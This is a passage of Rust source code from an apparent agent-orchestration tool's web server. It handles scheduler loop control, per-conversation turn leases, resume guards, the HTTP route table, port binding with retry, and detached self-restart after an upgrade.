925        if *guard {
926            return Err(ApiError::conflict(
927                "web restart in progress; retry this message",
928            ));
929        }
930        Ok(guard)
931    }
932
933    /// Start a scheduler that outlives this web process.
934    async fn start_detached_loop(&self) -> ApiResult<()> {
935        if self
936            .upgrade_spawned
937            .load(std::sync::atomic::Ordering::SeqCst)
938        {
939            return Err(ApiError::conflict("an upgrade is in progress"));
940        }
941        let reading = daemon::read_status(&self.home);
942        if let Some(other) = Foreign::of(reading.as_ref()) {
943            return Err(ApiError::conflict(format!(
944                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
945                other.who()
946            )));
947        }
948        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
949        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
950        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
951            || reading.is_some_and(|reading| {
952                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
953            });
954        if control.is_some() && scheduler_running {
955            return Err(ApiError::conflict(
956                "the scheduler is still stopping; retry Start after it has stopped",
957            ));
958        }
959        if !jobs.iter().any(|job| job.kind == "scheduler") {
960            let available =
961                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
962            if available.is_none() {
963                return Err(ApiError::conflict(
964                    "the scheduler is still running or stopping; retry after its transition completes",
965                ));
966            }
967            drop(available);
968        }
969        let opts = daemon::Opts {
970            repo: self.repo.clone(),
971            merge: self.merge.clone(),
972            worktrees_root: Some(self.worktrees_root.clone()),
973            ..daemon::Opts::default()
974        };
975        daemon::spawn_detached(&self.home, &opts)
976            .await
977            .map_err(ApiError::from)?;
978        let mut state = self.lock_loop();
979        state.last_error = None;
980        state.rev += 1;
981        Ok(())
982    }
983
984    /// Start the loop in this process, or say who already has one.
985    ///
986    /// `foreign` is passed in rather than read here so that one request makes
987    /// one judgement about who owns the loop: reading the status file again
988    /// inside this function could refuse a start for a daemon the same
989    /// response then reports as gone.
990    #[cfg(test)]
991    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
992        if let Some(other) = foreign {
993            return Err(ApiError::conflict(format!(
994                "{} is already running the loop, so this one will not start a \
995                 second: two loops on one queue race for the same claims and \
996                 burn the agent quota twice over. Stop it where it was \
997                 started.",
998                other.who()
999            )));
1000        }
1001        let mut state = self.lock_loop();
1002        if self
1003            .upgrade_spawned
1004            .load(std::sync::atomic::Ordering::SeqCst)
1005        {
1006            return Err(ApiError::conflict("an upgrade is in progress"));
1007        }
1008        if state.live.as_ref().is_some_and(Live::alive) {
1009            return Err(ApiError::conflict(format!(
1010                "this magi web process (pid {}) is already running the loop",
1011                std::process::id()
1012            )));
1013        }
1014
1015        let stop = daemon::Stop::new();
1016        // The CLI's own defaults for everything the UI has no opinion about:
1017        // one poll interval and one retry budget, so a loop started from a
1018        // phone behaves exactly like the `magi serve` it replaces.
1019        let opts = daemon::Opts {
1020            repo: self.repo.clone(),
1021            merge: self.merge.clone(),
1022            // Whatever this `Ui` already reports worktree sizes and folds
1023            // against (see `with_worktrees_root`) is what the loop it starts
1024            // must reclaim orphaned worktrees under too - two different
1025            // opinions about where the worktree bay is would leave the
1026            // janitor pass reclaiming a directory nothing else on this
1027            // process is even looking at.
1028            worktrees_root: Some(self.worktrees_root.clone()),
1029            ..daemon::Opts::default()
1030        };
1031        let launch = self.launch;
1032        let looping = Arc::clone(&self.looping);
1033        let handle = tokio::spawn({
1034            let opts = opts.clone();
1035            let stop = stop.clone();
1036            async move {
1037                let failure = match launch(opts, stop).await {
1038                    Ok(()) => None,
1039                    Err(e) => Some(format!("{e:#}")),
1040                };
1041                match &failure {
1042                    Some(why) => tracing::error!("the loop stopped: {why}"),
1043                    None => tracing::info!("the loop stopped"),
1044                }
1045                // Recorded by the task itself rather than reaped by whichever
1046                // request happens next, so `loop_rev` moves the moment the
1047                // loop ends and a phone with the change stream open learns
1048                // that it did. Clearing `live` drops this task's own handle,
1049                // which only detaches it, and is the last thing it does.
1050                let mut state = lock_or_recover(&looping);
1051                state.live = None;
1052                state.last_error = failure;
1053                state.rev += 1;
1054            }
1055        });
1056        tracing::info!(
1057            "the loop is now running in this process: repo {}, merge {}",
1058            opts.repo.display(),
1059            opts.merge.as_deref().unwrap_or("as the config says")
1060        );
1061        state.live = Some(Live { stop, handle, opts });
1062        // A fresh start is not the place to keep showing why the last one
1063        // died; the operator has read it and pressed the button anyway.
1064        state.last_error = None;
1065        state.rev += 1;
1066        Ok(())
1067    }
1068
1069    /// Ask the loop to stop, without waiting for it to get there.
1070    ///
1071    /// Idempotent: a second tap on stop is not an error, because the first one
1072    /// leaves the loop running for as long as the run in flight takes and the
1073    /// operator has no way to tell a slow stop from a lost one.
1074    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1075        if let Some(other) = foreign {
1076            return Err(ApiError::conflict(format!(
1077                "the loop belongs to {}, and this process cannot stop it - \
1078                 stop it where it was started. A button that silently did \
1079                 nothing would be worse than this refusal.",
1080                other.who()
1081            )));
1082        }
1083        #[cfg(not(test))]
1084        {
1085            daemon::request_control(
1086                &self.home,
1087                if park {
1088                    crate::worker::Control::Park
1089                } else {
1090                    crate::worker::Control::Stop
1091                },
1092            )
1093            .map_err(ApiError::from)?;
1094            self.lock_loop().rev += 1;
1095            Ok(())
1096        }
1097        #[cfg(test)]
1098        {
1099            let mut state = self.lock_loop();
1100            let Some(live) = state.live.as_ref() else {
1101                return Ok(());
1102            };
1103            // A park upgrades a stop that has already been asked for: the
1104            // operator who tapped "stop" and then realised the run has an hour
1105            // left must not have to restart the loop to change their mind.
1106            if live.stop.stopped() && (!park || live.stop.parking()) {
1107                return Ok(());
1108            }
1109            if park {
1110                live.stop.park(crate::run::ParkCause::Operator);
1111                tracing::info!(
1112                    "the loop was asked to park; the run stops at its next node boundary"
1113                );
1114            } else {
1115                live.stop.stop();
1116                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1117            }
1118            state.rev += 1;
1119            Ok(())
1120        }
1121    }
1122
1123    /// The loop as both `/api/loop` and `/api/health` report it.
1124    ///
1125    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1126    /// health answers with this view *and* the daemon object beside it: one
1127    /// read per response is what stops a single answer naming a foreign owner
1128    /// in one field and calling the loop free in the other.
1129    #[cfg(not(test))]
1130    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1131        let jobs = crate::worker::active(&self.home).map_err(|error| {
1132            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1133        })?;
1134        Ok(self.runtime_loop_view(reading, &jobs))
1135    }
1136
1137    #[cfg(test)]
1138    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1139        let state = self.lock_loop();
1140        // A loop that panicked never recorded its own end, so the handle -
1141        // not the presence of the record - is what "running" means.
1142        let live = state.live.as_ref().filter(|live| live.alive());
1143        LoopView {
1144            running: live.is_some(),
1145            stopping: live.is_some_and(|live| live.stop.finishing()),
1146            parking: live.is_some_and(|live| live.stop.parking()),
1147            owned: live.is_some(),
1148            repo: live
1149                .map_or(&self.repo, |live| &live.opts.repo)
1150                .display()
1151                .to_string(),
1152            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1153            last_error: state.last_error.clone(),
1154            daemon: DaemonView::of(reading),
1155        }
1156    }
1157
1158    /// Reuse one active-job snapshot for both ownership and public health.
1159    fn runtime_loop_view(
1160        &self,
1161        reading: Option<daemon::Reading>,
1162        jobs: &[crate::worker::Job],
1163    ) -> LoopView {
1164        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1165        let reporting = reading
1166            .as_ref()
1167            .is_some_and(|r| r.running(Timestamp::now()));
1168        let managed = scheduler.is_some()
1169            || (reporting
1170                && reading
1171                    .as_ref()
1172                    .is_some_and(|r| r.worker_protocol == Some(1)));
1173        let control = crate::worker::control(&self.home, "scheduler")
1174            .ok()
1175            .flatten();
1176        // Foreground serve also persists its options, so ownership never
1177        // causes us to substitute the web process's repository for its own.
1178        let persisted = if managed && scheduler.is_none() {
1179            std::fs::read(self.home.join("scheduler-options.json"))
1180                .ok()
1181                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1182        } else {
1183            None
1184        };
1185        let repo = scheduler
1186            .and_then(|job| job.payload.get("repo"))
1187            .and_then(serde_json::Value::as_str)
1188            .map(str::to_owned)
1189            .or_else(|| {
1190                persisted
1191                    .as_ref()
1192                    .map(|opts| opts.repo.display().to_string())
1193            })
1194            .unwrap_or_else(|| self.repo.display().to_string());
1195        let merge = match scheduler {
1196            Some(job) => job
1197                .payload
1198                .get("merge")
1199                .and_then(serde_json::Value::as_str)
1200                .map(str::to_owned),
1201            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1202        };
1203        LoopView {
1204            running: managed || reporting,
1205            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1206            parking: matches!(control, Some(crate::worker::Control::Park))
1207                && jobs.iter().any(|job| job.kind == "task"),
1208            owned: managed,
1209            repo,
1210            merge,
1211            last_error: self.lock_loop().last_error.clone(),
1212            daemon: DaemonView::of(reading),
1213        }
1214    }
1215
1216    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1217    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1218        lock_or_recover(&self.looping)
1219    }
1220
1221    /// In-flight admission, detached startup, or a cross-process turn lease.
1222    fn is_thinking(&self, id: &str) -> bool {
1223        self.talk_turns
1224            .lock()
1225            .is_ok_and(|turns| turns.live.contains(id))
1226            // Another process (the CLI) can hold the turn through the
1227            // on-disk lease.
1228            || self.talks.turn_held(id)
1229            || crate::consult::turn_worker_active(&self.talks, id)
1230    }
1231
1232    /// Claim the right to run one turn in a talk, or report that it is busy.
1233    ///
1234    /// A talk is strictly turn-based: the agent is resumed with the
1235    /// conversation it already has, so two turns running at once would resume
1236    /// the same session twice and append their answers in whatever order the
1237    /// two CLIs finished in. The operator would come back to a transcript
1238    /// with two half-turns interleaved, which is unreadable and, worse,
1239    /// unfixable - there is no undo for a persisted turn.
1240    ///
1241    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1242    /// starting a second CLI invocation for the same session.
1243    ///
1244    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1245    /// taken to test-and-insert and released before the agent is spawned. The
1246    /// returned guard removes the id on drop, which is what makes a panicking
1247    /// handler or a phone that walks out of range leave the talk usable - axum
1248    /// drops the handler future when the client disconnects, and without the
1249    /// guard that talk would be wedged until the server restarted.
1250    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1251        self.claim_talk_turn(id, false)
1252    }
1253
1254    /// Claim a turn after durably queueing a draft, or notify its current
1255    /// owner that a drainer must recheck before it releases the slot.
1256    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1257        self.claim_talk_turn(id, true)
1258    }
1259
1260    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1261        let mut live = self
1262            .talk_turns
1263            .lock()
1264            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1265        if crate::consult::turn_worker_active(&self.talks, id) {
1266            if queued {
1267                *live.queued.entry(id.to_owned()).or_default() += 1;
1268            }
1269            return Ok(None);
1270        }
1271        let inserted = live.live.insert(id.to_owned());
1272        // The on-disk lease is the cross-process half of the gate. Taken
1273        // second, and undone if lost, so `live` never claims a turn the lease
1274        // refused.
1275        let lease = if inserted {
1276            match self.talks.claim_turn(id) {
1277                Ok(Some(lease)) => Some(lease),
1278                Ok(None) => {
1279                    live.live.remove(id);
1280                    None
1281                }
1282                Err(e) => {
1283                    live.live.remove(id);
1284                    return Err(ApiError::from(e));
1285                }
1286            }
1287        } else {
1288            None
1289        };
1290        if lease.is_none() {
1291            if queued {
1292                // A queued write has landed before this busy check.
1293                // `drain_loop` uses this generation to recheck after its
1294                // off-thread disk read, so it cannot release a turn between
1295                // this check and the write.
1296                *live.queued.entry(id.to_owned()).or_default() += 1;
1297            }
1298            return Ok(None);
1299        }
1300        Ok(Some(TalkTurnGuard {
1301            talk: id.to_owned(),
1302            turns: Arc::clone(&self.talk_turns),
1303            released: false,
1304            lease,
1305        }))
1306    }
1307
1308    /// Decide whether a free talk may start a new immediate turn while its
1309    /// claim lock is held. A persisted draft without an owner is recovery
1310    /// state, not a busy turn: two simultaneous `/say` requests must both
1311    /// leave it untouched rather than one of them appending to it.
1312    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1313        let mut live = self
1314            .talk_turns
1315            .lock()
1316            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1317        // A detached worker owns its turn across web process replacement.
1318        if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1319            return Ok(TalkTurnStart::Busy);
1320        }
1321        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1322            return Ok(TalkTurnStart::Foreign);
1323        };
1324        // A refused `Pending` below drops the lease again.
1325        let talk = self.talks.get(id).map_err(ApiError::from)?;
1326        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1327            return Ok(TalkTurnStart::Pending);
1328        }
1329        live.live.insert(id.to_owned());
1330        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1331            talk: id.to_owned(),
1332            turns: Arc::clone(&self.talk_turns),
1333            released: false,
1334            lease: Some(lease),
1335        }))
1336    }
1337
1338    fn queued_generation(&self, id: &str) -> u64 {
1339        let live = self
1340            .talk_turns
1341            .lock()
1342            .unwrap_or_else(PoisonError::into_inner);
1343        live.queued.get(id).copied().unwrap_or(0)
1344    }
1345
1346    /// Automatic updates begin only when execution and chat workers are idle.
1347    /// A worker racing this snapshot survives the restart on its own executable.
1348    fn auto_upgrade_busy(&self) -> bool {
1349        #[cfg(test)]
1350        if self
1351            .lock_loop()
1352            .live
1353            .as_ref()
1354            .is_some_and(|live| live.stop.busy_now())
1355        {
1356            return true;
1357        }
1358        crate::worker::active(&self.home)
1359            .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1360            || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1361            || !self
1362                .resuming
1363                .lock()
1364                .unwrap_or_else(PoisonError::into_inner)
1365                .is_empty()
1366            || !self
1367                .talk_turns
1368                .lock()
1369                .unwrap_or_else(PoisonError::into_inner)
1370                .live
1371                .is_empty()
1372            || self
1373                .talks
1374                .list()
1375                .iter()
1376                .any(|talk| self.is_thinking(&talk.id))
1377    }
1378
1379    /// Claim a run for a resume, on the same reasoning as
1380    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1381    /// disconnected phone does not wedge the run until the server restarts.
1382    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1383        let mut live = self
1384            .resuming
1385            .lock()
1386            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1387        if self
1388            .upgrade_spawned
1389            .load(std::sync::atomic::Ordering::SeqCst)
1390        {
1391            return Err(ApiError::conflict("an upgrade is in progress"));
1392        }
1393        if !live.insert(id.to_owned()) {
1394            return Err(ApiError::conflict(format!(
1395                "run {id} is already being resumed"
1396            )));
1397        }
1398        Ok(ResumeGuard {
1399            run: id.to_owned(),
1400            resuming: Arc::clone(&self.resuming),
1401        })
1402    }
1403
1404    /// The router, with this state baked in.
1405    ///
1406    /// The three front-end files get one explicit route each rather than a
1407    /// path parameter, so there is no traversal surface to get wrong: the set
1408    /// of servable paths is the set written here. The asset route below is the
1409    /// one exception and the only place in this server where a client names a
1410    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1411    pub fn router(self) -> Router {
1412        Arc::new(self).shared_router()
1413    }
1414
1415    fn shared_router(self: Arc<Self>) -> Router {
1416        Router::new()
1417            .route("/", get(index))
1418            .route("/app.css", get(app_css))
1419            .route("/app.js", get(app_js))
1420            .route("/api/health", get(health))
1421            .route("/api/references", post(id_links::resolve_text))
1422            .route("/api/loop", get(loop_get).post(loop_post))
1423            .route("/api/upgrade", post(upgrade_post))
1424            .route("/api/runs", get(runs_list))
1425            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1426            .route("/api/runs/{id}/core", get(run_core))
1427            .route("/api/runs/{id}/report", get(run_report))
1428            .route("/api/runs/{id}/report.json", get(run_report_json))
1429            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1430            .route("/api/runs/{id}/fold", post(run_fold))
1431            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1432            .route("/api/runs/{id}/resume", post(run_resume))
1433            .route("/api/queue", get(queue_list))
1434            .route("/api/queue/page", get(queue_page))
1435            .route("/api/search", get(search_get))
1436            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1437            .route("/api/queue/{id}/core", get(task_core))
1438            .route("/api/stats", get(stats_get))
1439            .route("/api/stats/queue", get(stats_queue))
1440            .route("/api/repos", get(repos_list))
1441            .route("/api/settings", get(settings_get))
1442            .route("/api/settings/roles", put(settings_put_roles))
1443            .route("/api/queue/{id}/hold", post(queue_hold))
1444            .route("/api/queue/{id}/release", post(queue_release))
1445            .route("/api/queue/{id}/priority", post(queue_priority))
1446            .route("/api/queue/{id}/urgent", post(queue_urgent))
1447            .route("/api/queue/{id}/implementers", post(queue_implementers))
1448            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1449            .route("/api/queue/{id}/edit", post(queue_edit))
1450            .route("/api/queue/{id}/done", post(queue_done))
1451            .route("/api/questions", get(questions_list))
1452            .route("/api/questions/core", get(questions_core))
1453            .route("/api/questions/origins", get(question_origins))
1454            .route("/api/questions/{id}/answer", post(question_answer))
1455            .route("/api/questions/{id}/say", post(question_say))
1456            .route("/api/questions/{id}/consult", post(question_consult))
1457            .route("/api/questions/{id}/panel", get(question_panel))
1458            // The same asset, reachable from inside the panel by its bare
1459            // filename. A document served at `.../panel` resolves `shot.png`
1460            // to `.../shot.png`, which is not the asset route, so a panel
1461            // written the way its author was told to write it showed broken
1462            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1463            // it - deliberately - so the fix is that the panel's own URL ends
1464            // in a filename and its siblings are the assets.
1465            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1466            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1467            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1468            .route("/api/notifications", get(notifications_list))
1469            .route("/api/notifications/read-all", post(notifications_read_all))
1470            .route("/api/notifications/{id}/read", post(notification_read))
1471            .route(
1472                "/api/notifications/{id}/dismiss",
1473                post(notification_dismiss),
1474            )
1475            .route("/api/talks", get(talks_list).post(talk_post))
1476            .route("/api/talks/page", get(talks_page))
1477            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1478            .route("/api/talks/{id}/core", get(talk_core))
1479            .route("/api/talks/{id}/sections", get(talk_sections))
1480            .route("/api/talks/{id}/say", post(talk_say))
1481            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1482            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1483            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1484            .route("/api/talks/{id}/agent", post(talk_agent))
1485            .route("/api/talks/{id}/persona", post(talk_persona))
1486            .route("/api/talks/{id}/implementers", post(talk_implementers))
1487            .route("/api/talks/{id}/close", post(talk_close))
1488            .route("/api/talks/{id}/reopen", post(talk_reopen))
1489            // `DefaultBodyLimit` is raised only on this one route - every
1490            // other route on this server answers in a few kilobytes, and
1491            // widening the crate-wide default for all of them just because
1492            // one accepts a picture would let any other handler be handed
1493            // a multi-megabyte body it never expects.
1494            .route(
1495                "/api/talks/{id}/attachments",
1496                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1497            )
1498            .route(
1499                "/api/talks/{id}/attachments/{att}",
1500                get(talk_attachment_get),
1501            )
1502            .route("/api/talks/{id}/avatar", get(talk_avatar))
1503            .route("/avatars/operator.svg", get(operator_avatar))
1504            .route(
1505                "/api/avatar-settings",
1506                get(avatar_settings_get)
1507                    .put(avatar_settings_put)
1508                    .delete(avatar_settings_delete),
1509            )
1510            .route("/avatars/persona", get(settings_persona_avatar))
1511            .route("/avatars/magi", get(magi_avatar))
1512            .route(
1513                "/api/magi-icon",
1514                get(magi_icon_get)
1515                    .put(magi_icon_put)
1516                    .delete(magi_icon_delete),
1517            )
1518            .route("/api/events", get(events))
1519            .with_state(self)
1520    }
1521}
1522
1523/// One talk's turn slot, released on drop.
1524///
1525/// A guard rather than a matching `remove` at the end of the handler, because
1526/// the handler has several early returns and one `await` that can be cancelled
1527/// out from under it. A leaked id is a talk nobody can talk to again.
1528#[derive(Debug)]
1529struct TalkTurnGuard {
1530    talk: String,
1531    turns: Arc<Mutex<TalkTurns>>,
1532    released: bool,
1533    /// The cross-process half of the slot; dropped with the guard.
1534    lease: Option<crate::talk::TurnLease>,
1535}
1536
1537/// In-memory turn ownership plus the queue generation observed by a drainer.
1538///
1539/// The generation changes only after a durable queued draft is written and its
1540/// caller finds the turn busy. That lets the loop run filesystem work outside
1541/// this mutex while still making the final empty-check/release atomic with a
1542/// concurrent queue handoff.
1543#[derive(Debug, Default)]
1544struct TalkTurns {
1545    live: HashSet<String>,
1546    queued: HashMap<String, u64>,
1547}
1548
1549/// The atomic initial-state decision made by
1550/// [`Ui::begin_talk_turn_unless_pending`].
1551enum TalkTurnStart {
1552    Claimed(TalkTurnGuard),
1553    Busy,
1554    /// Another process holds the turn lease. Unlike `Busy` there is no local
1555    /// drain loop that would answer a queued draft, so the caller refuses.
1556    Foreign,
1557    Pending,
1558}
1559
1560impl TalkTurnGuard {
1561    #[cfg(test)]
1562    /// Does this guard still own the on-disk lease? A transient failure to
1563    /// check counts as owning: the next beat decides. A guard that lost it
1564    /// must not start another turn on the same session.
1565    fn owns(&self) -> bool {
1566        self.lease
1567            .as_ref()
1568            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1569    }
1570
1571    #[cfg(test)]
1572    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1573    /// than the lease's TTL still reads as held to other processes.
1574    async fn respond(
1575        &self,
1576        talk: &mut Talk,
1577        talks: &Talks,
1578        cfg: &Config,
1579        text: &str,
1580    ) -> anyhow::Result<()> {
1581        let lease = self
1582            .lease
1583            .as_ref()
1584            .context("the turn guard no longer holds its lease")?;
1585        talk::respond(lease, talk, talks, cfg, text).await
1586    }
1587
1588    /// Release while the caller already holds the claim mutex, closing the
1589    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1590    fn release(mut self, live: &mut TalkTurns) {
1591        // The on-disk lease goes first: while `live` still names the talk, no
1592        // local claim can start, so nobody observes the slot free but the
1593        // lease held.
1594        self.lease = None;
1595        live.live.remove(&self.talk);
1596        live.queued.remove(&self.talk);
1597        self.released = true;
1598    }
1599}
1600
1601impl Drop for TalkTurnGuard {
1602    fn drop(&mut self) {
1603        if self.released {
1604            return;
1605        }
1606        // Lease first, then the in-process slot (see `release`).
1607        drop(self.lease.take());
1608        if let Ok(mut live) = self.turns.lock() {
1609            live.live.remove(&self.talk);
1610            live.queued.remove(&self.talk);
1611        }
1612    }
1613}
1614
1615/// Releases a resume claim, so a run is resumable again after the attempt.
1616struct ResumeGuard {
1617    run: String,
1618    resuming: Arc<Mutex<HashSet<String>>>,
1619}
1620
1621impl Drop for ResumeGuard {
1622    fn drop(&mut self) {
1623        if let Ok(mut live) = self.resuming.lock() {
1624            live.remove(&self.run);
1625        }
1626    }
1627}
1628
1629/// Bind the port, waiting briefly for a predecessor to let go of it.
1630///
1631/// A restart hands the address from one process to the next, and the old one
1632/// holds its listener until it unwinds. A single `bind` can lose that race,
1633/// and for a restart triggered from a phone that means the deck never comes
1634/// back with no terminal around to say why.
1635///
1636/// Bounded, and only for the one error a wait can fix: anything else fails at
1637/// once, because retrying it would turn a clear message into a silence.
1638async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1639    const WINDOW: Duration = Duration::from_secs(10);
1640    const GAP: Duration = Duration::from_millis(250);
1641
1642    let deadline = std::time::Instant::now() + WINDOW;
1643    let mut said = false;
1644    loop {
1645        match tokio::net::TcpListener::bind(socket).await {
1646            Ok(listener) => return Ok(listener),
1647            Err(e)
1648                if e.kind() == std::io::ErrorKind::AddrInUse
1649                    && std::time::Instant::now() < deadline =>
1650            {
1651                if !said {
1652                    said = true;
1653                    tracing::info!(
1654                        "{socket} is still held - waiting up to {}s for it, \
1655                         which is what a restart looks like from here",
1656                        WINDOW.as_secs()
1657                    );
1658                }
1659                tokio::time::sleep(GAP).await;
1660            }
1661            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1662        }
1663    }
1664}
1665
1666/// Signalled when an upgrade has replaced the binary and the successor should
1667/// take this address over. One per process: there is one address to hand on.
1668static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1669
1670/// Set to `1` on the successor when the loop was running at handover.
1671const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1672/// Keep a dynamically assigned listener address stable across replacement.
1673const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1674
1675/// Whether the environment value asks for the loop to be resumed.
1676fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1677    value.is_some_and(|v| v == "1")
1678}
1679
1680/// Start this binary again with the same arguments, detached.
1681///
1682/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1683/// so the address is already free when the successor binds it. The first
1684/// attempt at this spawned the successor two hundred milliseconds before
1685/// exiting instead, and the released binary - which has no bind retry - died
1686/// on "address already in use" with its stdio sent to null, so the deck
1687/// simply never came back.
1688///
1689/// Detached and without inherited stdio: the successor has to outlive this
1690/// process, and must not hold open a pipe a terminal is waiting on.
1691///
1692/// The scheduler is restarted separately; execution workers are not awaited.
1693///
1694/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1695/// than sent to null: a supervisor's redirection only ever held the first
1696/// generation's descriptors, so every later generation logged nowhere. The
1697/// pid of the child is returned so the handover log can name it.
1698fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1699    let args: Vec<String> = std::env::args().skip(1).collect();
1700    updater::log_step(
1701        home,
1702        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1703    );
1704    let log_path = home.join(WEB_LOG);
1705    let open_log = || {
1706        std::fs::create_dir_all(home)?;
1707        std::fs::OpenOptions::new()
1708            .create(true)
1709            .append(true)
1710            .open(&log_path)
1711    };
1712    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1713        Ok(pair) => (
1714            std::process::Stdio::from(pair.0),
1715            std::process::Stdio::from(pair.1),
1716        ),
1717        Err(e) => {
1718            updater::log_warn(
1719                home,
1720                &format!(
1721                    "could not open {}: {e}; the successor logs nowhere",
1722                    log_path.display()
1723                ),
1724            );
1725            (std::process::Stdio::null(), std::process::Stdio::null())
1726        }
1727    };
1728
1729    let mut cmd = std::process::Command::new(exe);
1730    cmd.env_remove(RESUME_LOOP_ENV);
1731    cmd.env(RESTART_PORT_ENV, port.to_string());
1732    cmd.args(&args)
1733        .stdin(std::process::Stdio::null())
1734        .stdout(out)
1735        .stderr(err);
1736    #[cfg(windows)]
1737    {
1738        use std::os::windows::process::CommandExt as _;
1739        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1740        // and Ctrl-C in the old terminal must not reach the successor.
1741        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1742    }
1743    let child = cmd.spawn().context("start the successor")?;
1744    Ok(child.id())
1745}
1746
1747/// File under `<home>` the successor's output is appended to.
1748const WEB_LOG: &str = "web.log";
1749
1750/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1751/// stored by an earlier `notify_one` is consumed by the first poll, so the
1752/// signal is never missed and never wakes a second time.
1753async fn wait_for_handover(signal: &Notify) {
1754    signal.notified().await;
1755}
1756
1757/// Serve the UI independently from scheduler and execution workers.
1758/// A restart releases its listener before starting the successor.
1759pub async fn serve(opts: Opts) -> Result<()> {
1760    // Capture before self-replacement: current_exe may later name a removed
1761    // image on Linux or the renamed old image on Windows.
1762    crate::worker::remember_current_executable()?;
1763    let executable = std::env::current_exe().context("find the installed web executable")?;
1764    let (addr, warning) = resolve_bind(&opts.bind);
1765    if let Some(warning) = warning {
1766        tracing::warn!("{warning}");
1767    }
1768
1769    // Process-global, and therefore set exactly once, here: the report route
1770    // must never emit escape sequences into a browser, and toggling the flag
1771    // per request would race with a concurrent request rendering its own
1772    // report. Startup is the only moment at which no request can observe the
1773    // change. Nothing in the server turns colour back on.
1774    report::set_color(false);
1775
1776    let repo = normalize_default_repo(opts.repo).await;
1777    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1778    // The listener and periodic checker share one upgrade gate and state.
1779    let home = ui.home.clone();
1780    let admissions = Arc::clone(&ui.admissions);
1781    // Settles a progress record a predecessor left non-terminal - either this
1782    // *is* the successor `spawn_successor` started, or the previous process
1783    // died mid-handover. Before the router starts answering, so the very
1784    // first `/api/health` a phone gets from this process already reflects it.
1785    updater::reconcile_after_restart(&home);
1786    updater::log_step(
1787        &home,
1788        &format!(
1789            "web process started (version {}); handover log {}, successor output {}",
1790            env!("CARGO_PKG_VERSION"),
1791            updater::log_path(&home).display(),
1792            home.join(WEB_LOG).display()
1793        ),
1794    );
1795    updater::spawn_watchdog(home.clone());
1796    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1797    // `spawn_update_check` does at startup only ever runs once: after that,
1798    // `/api/health`'s `update` field - and the phone's "Update & restart"
1799    // button, which reads the very same cache - would stay frozen on
